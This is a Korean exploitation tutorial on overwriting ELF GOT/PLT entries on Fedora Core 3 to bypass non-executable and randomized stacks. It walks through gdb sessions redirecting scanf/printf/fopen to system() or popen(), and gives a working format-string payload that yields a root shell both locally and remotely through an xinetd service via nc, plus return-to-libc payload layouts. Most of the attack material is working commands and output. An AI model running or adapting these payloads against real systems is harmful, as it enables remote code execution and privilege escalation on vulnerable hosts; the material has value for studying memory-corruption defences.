* 제 목: ELF's GOT, PLT 덮어쓰기를 통한 포맷 스트링 테크닉 몇 가지. (Fedora Core 3 based GOT, PLT overwrite exploit method) * 테스트 환경: Fedora Core release 3 (Heidelberg) Linux 2.6.9-1.667 #1 Tue Nov 2 14:41:25 EST 2004 * 작성자: 유동훈 - Xpl017Elz http://x82.inetcop.org 이 기술은 오래 전부터 사용되었던 방법으로써, 그리 특별한 테크닉은 아니다. 이 방법을 통해 nonexec-stack과 random-stack을 우회하여 remote format string exploit을 시도할 수 있을 것이다. 반면, local 공격 효율성이 떨어지는 단점이 있다. 그 이유는 사용자 권한 상승 문제 때문인데, 인자 값과 일치하는 libc 함수가 있을 때는 setuid 관련 함수를 호출하여 권한 상승이 가능하겠지만, 응용적인 부분이나 크게 예외적인 상황은 다루지 않기로 했다. (사실 예외적인 상황에서의 공격을 무척이나 즐기는 편이다. 하지만, 그렇게 문서를 작성하다 보면 너무 한 쪽면에만 치우쳐져 본래 설명하고자 하는 의도와 멀어져 버리곤 한다. :-X) 그럼, 간단히 GOT와 PLT에 대해 정리할 겸, 연구할 내용이 무엇인지 알아보도록 하겠다. [참고 사항] -------------------------------------------------------------------------------------------- 알려진 이론, 실제 디버깅 후 결과, 개발자의 의도를 담은 소스 코드...등은 각기 다를 수 있다. 그것은 일맥 상통하는 것 같으면서도 약간의 서로 틀린 의미를 가질 때도 있는데 내가 이런 이야기를 미리하는 이유는 지금부터 설명해나가는 문서의 내용에 대해 100% 신뢰성을 갖지 않기 때문이다. 나는 그것들을 반드시 테스트하고 작성했으나 알려진 이론과 실제 소스 코드를 완벽히 분석하여 비교하지는 못했다. 단순 디버깅 수준에서 이론에 맞추어 `이럴 것이고 이런 구조를 갖는다...' 라는 설명으로 문서를 준비했기 때문에 코드 수준에서 완전히 분석하고 자세히 문서를 쓰지 못하는 것에 대해 아쉬울 뿐이다. 실제 소스 코드를 분석하면서 작성하면 이론상의 오류를 잡아나가면서 명쾌하게 설명할 수 있겠지만 나의 지금 방식대로 문서를 작성할 경우, 잘못된 이론을 그대로 담고 묵인해버리는 일이 발생할 수 있다. :-( 그래서 차 후에 내가 여유의 시간을 가지고 있을 때, 오류 내용들이나 참고 사항등을 추가로 덧 붙일 예정이다. -------------------------------------------------------------------------------------------------------- * GOT와 PLT GOT는 Global Offset Table(전역 오프셋 테이블)로써, 실행 후, libc.so내 실제 함수 주소가 담기는 저장소이다. PLT는 일종의 실제 호출 코드를 담고 있는 Procedure Linkage Table(프로시져 링키지 테이블)로써 이 내용 참조를 통해 _dl_runtime_resolve가 수행되고, 실제 시스템 라이브러리 호출이 이루어지게 된다. (매 번이 아닌, 한 번만 수행되고 나면, 그 다음부터는 GOT에 기록된 내용만 참조하여 수행) 이를 실제 시스템 라이브러리 주소를 호출하기 위해 필요한 정보 테이블이라 보면 될꺼 같다. (_dl_runtime_resolve의 인자 값도 여기서 들어감) 그럼, 어떠한 구조로 실행되는가, 분석해보자. C 소스: -- int main() { char buf[]="XXXXYYYY"; scanf("%s",buf); printf("%s",buf); } [root@NewbieServer test]# objdump --dynamic-reloc scanf scanf: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 080494dc R_386_GLOB_DAT __gmon_start__ 080494c8 R_386_JUMP_SLOT __register_frame_info 080494cc R_386_JUMP_SLOT scanf 080494d0 R_386_JUMP_SLOT __deregister_frame_info 080494d4 R_386_JUMP_SLOT __libc_start_main 080494d8 R_386_JUMP_SLOT printf [root@NewbieServer test]# -- 잘 살펴보면, TYPE이 R_386_JUMP_SLOT이라고 명시된 것들이 PLT 참조의 중요한 역할을 한다. 그럼 실제 프로그램 분석을 통해 알아보겠다. 아래 보이는 것들이 바로 PLT 영역이다. 이 영역들은 objdump -h 명령을 통해 .plt가 어디쯤 있는지 간단히 알수 있다. -- (gdb) disass scanf Dump of assembler code for function scanf: 0x804830c : jmp *0x80494cc 0x8048312 : push $0x8 0x8048317 : jmp 0x80482ec <_init+48> End of assembler dump. (gdb) disass printf Dump of assembler code for function printf: 0x804833c : jmp *0x80494d8 0x8048342 : push $0x20 0x8048347 : jmp 0x80482ec <_init+48> End of assembler dump. (gdb) -- 실행 전의 PLT 내용이다. 위 내용 중 push 부분이 바로 수행 함수(VALUE)를 결정하는 역할을 한다. 실제 시스템 라이브러리 함수의 address를 얻어 GOT에 넣기까지 (첫 번째 수행) 일련의 과정은 _dl_runtime_resolve 함수에서 하는 역할이다. 위에 push한 값은 결국 _dl_runtime_resolve 함수의 인자 값이다. R_386_JUMP_SLOT 나열 순서대로 따지면, 아래와 같은 정보를 통해 _dl_runtime_resolve 함수의 인자 값으로 들어가 실제 수행 코드를 불러온다. -- 080494c8 R_386_JUMP_SLOT __register_frame_info - 0x0 080494cc R_386_JUMP_SLOT scanf - 0x8 080494d0 R_386_JUMP_SLOT __deregister_frame_info - 0x10 080494d4 R_386_JUMP_SLOT __libc_start_main - 0x18 080494d8 R_386_JUMP_SLOT printf - 0x20 -- 그럼, 실제로 확인해볼까나... -- (gdb) x/20 0x8048312-20 (scanf의 push 코드 부분) 0x80482fe <__register_frame_info+2>: 0x080494c8 0x00000068 0xffe0e900 0x25ffffff ~~~~~~~~~~ (push $0x0) 0x804830e : 0x080494cc 0x00000868 0xffd0e900 0x25ffffff ~~~~~~~~~~~ (push $0x8) 0x804831e <__deregister_frame_info+2>: 0x080494d0 0x00001068 0xffc0e900 0x25ffffff ~~~~~~~~~~ (push $0x10) 0x804832e <__libc_start_main+2>: 0x080494d4 0x00001868 0xffb0e900 0x25ffffff ~~~~~~~~~~ (push $0x18) 0x804833e : 0x080494d8 0x00002068 0xffa0e900 ~~~~~~~~~~ (push $0x20) Cannot access memory at address 0x804834a. (gdb) -- 역시 예상대로다. 각 순서대로 PLT로 배치된 것을 볼 수 있다. 이론대로 라면, 리눅스는 다음과 같은 링크 방식을 취하는데 이는 함수가 처음 실행될 때와 두 번째 실행될 때의 수행 구조가 다르다. ------------------------------------------------------------------------------------------------------------------------------------------------ * 처음 실행될 때 구조: [scanf 함수 호출]--->[PLT로 이동]--->[push 코드 주소를 포인터하는 GOT로 이동]--->[_dl_runtime_resolve]--->[GOT 저장 후, 실제 함수 주소로 점프] * 두 번째 실행될 때 구조: [scanf 함수 호출]--->[PLT로 이동]--->[GOT에는 이미 첫번째 실행 시, 저장된 실제 함수 주소가 있음 ===> 점프] ------------------------------------------------------------------------------------------------------------------------------------------------ 그럼, 실행 후, 순서를 분석해보겠다. 첫 번째로 scanf 함수 호출하기 전의 PLT와 GOT 내용: -- PLT: (gdb) disass 0x804830c Dump of assembler code for function scanf: 0x804830c : jmp *0x80494cc 0x8048312 : push $0x8 0x8048317 : jmp 0x80482ec <_init+48> End of assembler dump. (gdb) GOT: (gdb) x 0x80494cc 0x80494cc <_GLOBAL_OFFSET_TABLE_+16>: 0x08048312 <------ PLT의 push 명령 코드를 가리킴. (gdb) x/x 0x08048312 0x8048312 : 0x00000868 <---------------------- 확인 결과, 'push $0x8' 문법이 맞음. (gdb) -- 자, 그러면 이제 scanf 함수 호출 후의 구조를 보자. (scanf 함수 호출) scanf 함수의 PLT는 0x0804830c부터 시작한다. (PLT로 이동) 시작과 동시에 GOT로 jump하는데, 이 때 GOT(0x080494cc)에는 (GOT로 이동) push 코드를 가리키는 포인터가 있고, 해당 push 코드로 인자를 넣어 0x8에 있는 코드를 참조하도록 하는데, 위에 objdump로 분석했듯이 0x8은 scanf에 관한 코드이다. (_dl_runtime_resolve 수행 과정) 이렇게 실제 실행 라이브러리 함수의 주소를 얻어 GOT에 저장 후, 최종적으로 실행 함수로 점프하여 실행하게 된다. (실제 함수 코드로 점프) -- (gdb) x/x 0x080494cc 0x80494cc <_GLOBAL_OFFSET_TABLE_+16>: 0x400686f4 <------ _dl_runtime_resolve를 통해 얻어져 GOT에 저장된 실제 시스템 라이브러리. (gdb) x/x 0x400686f4 0x400686f4 : 0x53e58955 <---------------------- 예상대로 scanf의 실제 주소였음. (gdb) scanf 함수 실행 후, GOT를 찾아보면, 위의 push 명령 코드를 가리키던 것과 전혀 다르게 scanf의 실제 라이브러리 함수 주소가 저장된 것을 볼 수 있다. 이로써, 첫 번째 실행을 통해 GOT가 얻어져, 저장된다는 것을 알았다. 이제 프로그램 내에서 동일한 scanf 함수가 수행될 때는 _dl_runtime_resolve의 과정을 거치지 않고 GOT의 값을 참조하여 실제 라이브러리 함수 주소로 jump 실행된다. 이렇게 얻은 지식으로 과연 무엇을 할 수 있는가?? --------- 이 부분은 format string exploit과는 무관하게, 단순히 PLT, GOT로 장난치는 내용이다 ----------- 우선, push 명령을 포인터하는 GOT를 다른 주소에 있는 push 명령 위치로 조작하여 프로그램 내부 다른 함수를 부르는 것이 가능하다. 단, 해당 함수는 dynamic-reloc에 있는 즉, 프로그램 상에서 사용하는 함수여야 한다. (아마도 그렇다.) 자, 그럼 시험해보도록 하자. 우선, scanf PLT 내의 push 명령을 GOT가 가리키고 있으므로, GOT가 가리키는 push 명령을 printf의 push 명령으로 변경한다. printf PLT 내의 push 명령을 호출함으로써, printf 함수가 두 번 실행되는 웃기는 현상을 볼 수 있다. -- [root@NewbieServer test]# gdb -q scanf (gdb) disass scanf Dump of assembler code for function scanf: 0x804830c : jmp *0x80494cc 0x8048312 : push $0x8 0x8048317 : jmp 0x80482ec <_init+48> End of assembler dump. (gdb) x 0x8048312+0x30 0x8048342 : 0x00002068 (gdb) br *main Breakpoint 1 at 0x80483f8 (gdb) r Starting program: /home/x82/level6/test/scanf Breakpoint 1, 0x80483f8 in main () (gdb) x 0x80494cc 0x80494cc <_GLOBAL_OFFSET_TABLE_+16>: 0x08048312 (gdb) set *0x80494cc=0x8048342 (gdb) c Continuing. XXXXYYYYXXXXYYYY Program exited with code 010. (gdb) -- 잘 살펴보면, GOT가 0x080494cc이고 그 위치에는 예상대로 scanf PLT의 push 코드를 가리키는 0x08048312 주소가 있다. 이 주소값을 scanf 것이 아닌, printf 것으로 교체했는데 (참고로, printf의 push 코드는 scanf 코드보다 0x30 byte 뒤에 위치해 있다. 즉, 0x08048342에 있다.) 이렇게 변경된 GOT를 통해 push $0x20 명령을 수행하게 되며, 결과적으로 printf 함수가 두 번 실행된다. 그런데 잘 살펴볼 것은 어떻게 "XXXXYYYY" (buf의 내용) 문자열이 정상적으로 출력됐는가이다. 그 이유는 간단하다. 일반적으로 실행되는 함수의 인자는 전부 스택에 위치하게 되는데, 공격자가 스택의 내용을 변경하진 않았으므로, scanf가 가진 인자가 그대로 printf에 대입된 것이다. 즉, scanf("%s",buf); 에서 첫번째 인자 "%s"와 두번째 인자 buf가 그대로 printf에서 수행된 결과이다. (char buf[]="XXXXYYYY";) 이것은 테스트에 불가하다. 단지, 함수를 다른 시스템 라이브러리 함수를 가로채어 실행할 수 있다는 가능성을 알아본 것이다. 하지만, 위와 매우 흡사한 형태로 쉘을 얻는 공격이 가능하다. * 약간의 응용: 흐름이 진행되고 있는 GOT의 위치에 시스템 라이브러리 함수의 주소를 대입한다. 그러면, 어떠한 현상이 발생할 것인가?! 답은 간단하다. _dl_runtime_resolve를 거쳐 실행됐던 시스템 라이브러리 함수 실행 과정을 생략한 것과 마찬가지로 (두 번째 수행과 같이) 곧바로 지정한 시스템 라이브러리가 스택의 인자를 참조하여 실행하게 된다. 이 때 공격자는 무엇을 할 수 있는가, 각 인자에 값을 적절히 조절한 후, system() 함수와 같은 실행 관련 함수를 실행하여 결과적으로는 쉘을 수행할 수 있도록 만들 수 있다. 어떤 조건이 필요한가? 시스템 함수의 실행 시, 인자값의 메모리 구조와 흡사하게 구성할 수 있어야 한다. 예를 들어, 사용자가 직접 입력할 수 있는 값이 인자로 들어간다면, 그것은 매우 훌륭하다!! 또한, 간접적으로 실행된다 해도, 실행이 가능하도록 만들 수 있는 시스템 명령이라면, 공격을 성공할 수 있다. (심볼릭 링크와 같이) 그럼, 간단하게 공격을 해보겠다. 우선, 시스템 상에 h라는 파일을 만들고 쉘을 실행하는 내용을 넣는다. 우선, scanf를 덮어쓰면 첫번째 인자가 "%s"이기 때문에 system() 함수 실행 시, 오류가 발생한다. 바로 이 '%s' 포맷스트링을 "./h;" 란 명령으로 덮어쓴다. (뒤에 세미콜론을 붙이는 이유는 함수의 다른 인자가 명령어로 함께 실행되는 현상이 발생하기 때문에 정상적인 명령 수행을 방해하지 않도록 넣어주는 것이다.) [root@NewbieServer test]# cat > h #!/bin/sh /bin/sh [root@NewbieServer test]# chmod 755 h [root@NewbieServer test]# gdb -q scanf (gdb) disass scanf Dump of assembler code for function scanf: 0x804830c : jmp *0x80494cc <-------- GOT 부분 0x8048312 : push $0x8 0x8048317 : jmp 0x80482ec <_init+48> End of assembler dump. (gdb) br main Breakpoint 1 at 0x80483fe (gdb) r Starting program: /home/x82/level6/test/scanf Breakpoint 1, 0x80483fe in main () (gdb) set *0x80494cc=0x40058160 <------------------ GOT를 system 함수 주소로 덮어씀. (gdb) disass main Dump of assembler code for function main: 0x80483f8
: push %ebp 0x80483f9 : mov %esp,%ebp 0x80483fb : sub $0xc,%esp 0x80483fe : lea 0xfffffff4(%ebp),%edx 0x8048401 : mov $0x8048490,%eax 0x8048406 : mov (%eax),%edx 0x8048408 : mov %edx,0xfffffff4(%ebp) 0x804840b : mov 0x4(%eax),%edx 0x804840e : mov %edx,0xfffffff8(%ebp) 0x8048411 : mov 0x8(%eax),%al 0x8048414 : mov %al,0xfffffffc(%ebp) 0x8048417 : lea 0xfffffff4(%ebp),%eax 0x804841a : push %eax 0x804841b : push $0x8048499 ~~~~~~~~~~ 첫번째 인자 "%s"임을 알 수 있다. 0x8048420 : call 0x804830c 0x8048425 : add $0x8,%esp 0x8048428 : lea 0xfffffff4(%ebp),%eax 0x804842b : push %eax 0x804842c : push $0x8048499 0x8048431 : call 0x804833c 0x8048436 : add $0x8,%esp 0x8048439 : leave ---Type to continue, or q to quit--- 0x804843a : ret 0x804843b : nop 0x804843c : nop 0x804843d : nop 0x804843e : nop 0x804843f : nop End of assembler dump. (gdb) x/s 0x8048499 <---------------- scanf 함수의 첫번째 인자를 확인해보니, 다음과 같이 "%s" 것을 알수 있다. 0x8048499 <_IO_stdin_used+13>: "%s" (gdb) set *0x8048499=0x3b682f2e <---- 이 부분을 "./h;" 문자열로 덮어쓴다. (gdb) c Continuing. bash# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) bash# exit exit ./h; Program exited with code 04. (gdb) 자, h 스크립트가 실행된 것을 볼 수 있다. 핵심적인 내용은 다음과 같다. (gdb) set *0x80494cc=0x40058160 (gdb) set *0x8048499=0x3b682f2e GOT를 system 함수 주소로 바꾼 것과, scanf의 첫 번째 인자 값인 "%s"를 "./h;"로 교체해준 것 두 가지이다. 결과적으로 scanf 함수의 두 번째 인자는 첫 번째 인자에 들어간 ";" 덕분에 무시될 것이다. 어쨌든, scanf의 GOT를 교체하여, system("./h;"); 함수를 아무 문제없이 실행할 수 있었다. ------------------------------------------------------------------------------------------------------ * 포맷 스트링 공격을 통해 GOT, PLT을 이용하여 명령어 실행하기 (부제: random stack, nonexec shellcode 우회하기) #1. system 함수로 GOT overwrite 하기 이제 본론으로 들어가겠다. 여기까지 오느라 좀 지루했을거라 생각된다. 지금까지의 중요한 내용을 요약해본다면 GOT를 명령어 실행 함수 주소로 overwrite하여 PLT 참조 과정(dl_resolve)을 생략하고 우리가 원하는 함수를 수행할 수 있다는 것이 주 포인트였다. 이제 이 방법을 통해 어떠한 공격을 시도할 수 있는지 간단히 설명해보도록 하겠다. 다음 코드를 살펴보자. -- int main(int argc,char *argv[]) { char buf[256]; strcpy(buf,argv[1]); printf(buf); printf(buf); } -- 위 코드는 일반적인 format string 취약점 코드인 것 같지만, 무슨 일인지 printf 함수가 두 번 실행되고 있다. (결국 예외적인 사항을 또 만들어버렸다. -_-;; 이런... 그러나 실제 반복문 내에서 발생하는 format string 취약점은 이 경우에 해당된다고 볼 수 있다.) 위 코드를 exploit하는 방법은 생각보다 간단하다. -- 공격 코드 구성: [format string attack code];/bin/sh; -- 첫 번째 printf 함수 실행 시, 포맷 스트링 공격 코드의 내용은 당연히 printf의 GOT를 system 함수로 변경하는 내용이 될 것이다. 그렇게 되면, GOT의 정보를 사실로 믿는 프로그램은 당연히 printf 함수 대신 system 함수를 실행할 것이고, 실제 두 번째 printf 함수 실행 시, printf의 인자 값으로 쓰였던 공격 코드 ([format string attack code];/bin/sh;) 자체가 명령 코드로 실행되버리는 일이 발생한다. 앞의 format string 공격 코드는 무시되고, ';' 세미콜론을 통해 명령을 실행할 수 있다. 그러나, 특이한 경우에는 format string 공격 코드 자체에 특수 문자 문제로 인해, 쉘이 broken 되버려 실행이 안되는 문제가 발생할 수 있다. 즉, printf의 GOT 위치가 매우 중요하다. 그 위치의 주소값에 따라, 쉘 실행 성공 여부가 결정된다. (사용자 입력 값에 의존적) 위의 payload 대로 공격한 예제를 보고 싶다면 다음 URL에 접속하여 마지막 레벨 공략 방법을 참조하길 바란다. [http://x82.inetcop.org/h0me/pr0file/event/UDCSC2005.pdf] 반면, 스택의 retaddr를 직접 변경할 수 있다면, 이야기는 달라진다. printf 함수가 한 번만 실행되어도 상관없다. 우선, printf 첫 번째 실행 시, GOT 내에 system 함수 주소로 덮어쓴다. 사실 프로그램의 문법 상에 재차 printf 함수를 실행하는 코드가 없기 때문에 바로 이 코드(printf 함수 수행 역할)를 스택에 직접 만들어주는 것이다. 즉, 스택 값을 조정할 수 있기 때문에 ret 부분을 printf 함수 PLT 주소(고정적이며, 주소값에 NULL이 들어가지 않음)로 덮어쓰면, 이미 printf GOT는 system으로 변경된 후이기 때문에 printf 함수 대신 system 함수가 실행된다. 인자 값을 넣는 것 역시, 조작이 가능할 것이다. (stack 조작이 가능하므로) ret+8 부분에 넣을 수 있는데, 이는 libc.so 파일에 존재하는 "/bin/sh" 문자열을 이용해서 비교적 쉽게 해결할 수 있다. (printf 이외에도 내부 함수를 system()으로 덮어 씌워 명령어 수행이 가능하다) -- 공격 코드 구성: [format string attack code][...buffer overflow string...][ebp][ret = printf PLT][dummyXXXX]["/bin/sh" address] -- 이와 같이 구성해서 공격하는 것이다. 이미 앞의 [format string attack code]에서 printf의 GOT를 조작한 후이고, 나중에 RTL 기법으로 불러지는 printf는 이미 system 함수인 것이다. -- 참고로 format string 공격에만 국한되는 것이 아니다. 그 이유는 strcpy와 같은 함수를 통해 dest 인자를 덮어쓸 GOT의 주소값으로 넣고, src에 원하는 system 주소를 넣은 후, 다시, strcpy를 호출해버리면 strcpy 함수 대신, system 함수를 실행할 수 있기 때문이다. 이것은 비단, strcpy 함수 문제가 아니다. 복사 계열 함수는 비슷하게 공격이 가능하다. (단, 라이브러리 주소에 NULL이 들어가는 페도라 시스템의 공격은 힘들다고 보여진다) -- 지금까지 설명한 내용들이 phrack 56-05호와 scut의 format string 공격 문서에 얼핏 등장한다는 사실을 안 것은 내가 이 방법을 고안한 후의 일이었다. 조금은 허망하지만 확실히 이 방법은 페도라와 같은 극단적인 환경에서 원격 공격으로 시도할만하다. :-) (또한, local 공격의 가능성이 아주 없는 것은 아니지 않은가?) local에서 이 방법들을 적용시키기 위해 인자 값이 한 개만 존재하거나 첫 번째 인자 값이 0인 함수 녀석을 찾아 setuid 계열 함수로 덮어씌워주면 uid 0 권한을 얻을 수도 있을 것이다. printf를 system 함수로 덮어씌우는 방법말고 또 어떤 방법이 있을까? scut의 문서를 보면, fopen을 system 함수로 덮어씌우는 것을 볼 수 있는데, 이보다는 popen이 더 적합하겠다는 생각이 들었다. 그래서 간단하게 fopen을 popen으로 overwrite하는 내용을 적용해보도록 하겠다. #2. popen 함수로 GOT overwrite 하기 popen 함수는 system 함수와 마찬가지로 시스템 명령을 실행할 수 있는 함수이다. 이 함수는 내부적으로 pipe() 함수 호출로 반이중 파이프 라인을 만들어 자식 프로세스를 생성한 후 shell 명령을 실행하는 구조로 수행된다. 명령의 결과는 파일 스트림을 통해 읽을 수 있는데 이는 system 함수보다 더 열악한 명령 실행 환경을 제공하는 큰 이유다. -_- 아니, 가히 장애물이라 할 수 있다. 어쨌거나 우리가 일회성 명령어를 실행하기엔 매우 적합하다. scut의 기술 문서를 보면, fopen 함수의 인자 값이 사용자에 의해 overwrite가 가능한 위치에 존재하고 있다. 그렇다, fopen 함수를 공략하기 위해서는 첫 번째 인자 값으로 들어가는 주소의 위치가 매우 중요하게 작용한다. 그것이 만약 우리가 조작할 수 없는 위치의 주소에 존재하고 있다면 유감스럽게도 exploit 하기 힘들어진다. popen 함수는 glibc에 다른 원형을 가지고 있다. 그렇기 때문에 popen의 실제 원형 함수 주소를 얻어야 공격이 가능해진다. glibc libio/iopopen.c 소스 코드를 분석해보면, popen의 다양한 alias를 볼 수 있는데 대표적으로 _IO_new_popen, __new_popen 등이 있다. 이제 우리가 원하는 명령을 실행하기 위해 fopen 함수의 GOT를 _IO_new_popen의 시작 주소로 넣어주면 된다. 다음 예제 코드를 보자. -- C 예제 소스 -- #include int main() { char buf[1024]; FILE *fp; int i; printf("input file name: "); fflush(stdout); fgets(buf,sizeof(buf)-1,stdin); for(i=0;i: 0x56e58955 (gdb) -- fopen 함수의 GOT: 0x08049850 popen 원형 함수(_IO_new_popen) 시작 주소: 0xf6f0c10 공격 코드의 구성은 간단하다. 우선, format string 공격 코드를 통해 fopen의 주소를 popen 원형 함수의 주소로 덮어 씌운다. 그러면, 우리가 입력하는 인자값 자체가 명령 인자로 쓸 수 있게 된다. 공격 코드의 뒷 부분에는 ";/bin/sh" 쉘 실행 명령을 붙어준다. -- local 테스트 공격: -- [root@localhost tmp]# (echo `printf "\xbc\x98\x04\x08\xbe\x98\x04\x08"`"%49400x %12\$n%13808x%13\$n;/bin/sh";cat) | ./fopen input file name: ... ... ... f6fdb720;/bin/sh's contents: sh: %49400x%12%13808x%13: command not found id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) exit [root@localhost tmp]# -- 그럼 이번엔 원격 상에서 exploit 해보도록 하겠다. -- [root@localhost tmp]# cat > /etc/xinetd.d/test service tfido { disable = no flags = REUSE socket_type = stream wait = no user = root server = /var/tmp/fopen } [root@localhost tmp]# killall -HUP xinetd [root@localhost tmp]# netstat -an | grep 60177 tcp 0 0 0.0.0.0:60177 0.0.0.0:* LISTEN [root@localhost tmp]# [root@localhost tmp]# (echo `printf "\xbc\x98\x04\x08\xbe\x98\x04\x08"`"%49400x %12\$n%13808x%13\$n;/bin/sh";cat) | nc localhost 60177 ... 중 략 ... f6fdb720;/bin/shsh: %49400x%12%13808x%13: command not found id 's contents: uid=0(root) gid=0(root) uname -a Linux localhost 2.6.9-1.667smp #1 SMP Tue Nov 2 14:59:52 EST 2004 i686 i686 i386 GNU/Linux cat /etc/redhat-release Fedora Core release 3 (Heidelberg) exit [root@localhost tmp]# -- 위와 같이 성공적으로 쉘을 실행할 수 있었다. 결국 포맷스트링 공격 코드를 포함한 쉘 명령이 popen 함수에 의해 실행된 것이다. 이러한 사실은 `sh: %49400x%12%13808x%13: command not found' 명령어 실행 오류를 통해 알 수 있었다. while(fgets ... 문법 덕분에 쉘 명령 결과를 얻어볼 수 있었는데, 실제 popen 공격 시에는 명령 결과 및 오류 메시지를 못보는 경우가 더 많다. * 결 론 페도라 코어 시스템이 도입되고 나서, 사용자에 의해 write 되는 영역이 execute 될 수 없도록 nonexec-stack, random-stack 체제가 구축되었다. 이로 인해, 해커의 쉘코드 실행이 매우 어려워졌고 Return to Library 기법이 발전되었다. 앞으로 몇 년후면 페도라 코어와 같은 보안 강화 시스템들이 보편화 될 것으로 예상하고 있다. 그러나 안타깝게도 현재까지는 개발된 exploit 기법이 많지 않은 실정이다. :-( 하루 빨리 새로운 exploit 기법들이 많이 개발되었으면 하는 바램으로 문서 작성을 끝 마치도록 하겠다. * Reference 이 문서를 읽고 더 훌륭한 기술들을 연구 개발하고 싶은 분들은 아래 문서들을 참고하길 바란다. -- * Phrack 56-5: Bypassing StackGuard and StackShield Bulba and Kil3r http://www.phrack.org/show.php?p=56&a=5 * Phrack 58-4: The advanced return-into-lib(c) exploits by Nergal http://www.phrack.org/show.php?p=58&a=4 * Exploiting Format String Vulnerabilities scut / team teso http://www.eecg.toronto.edu/~lie/downloads/formatstring-1.2.pdf --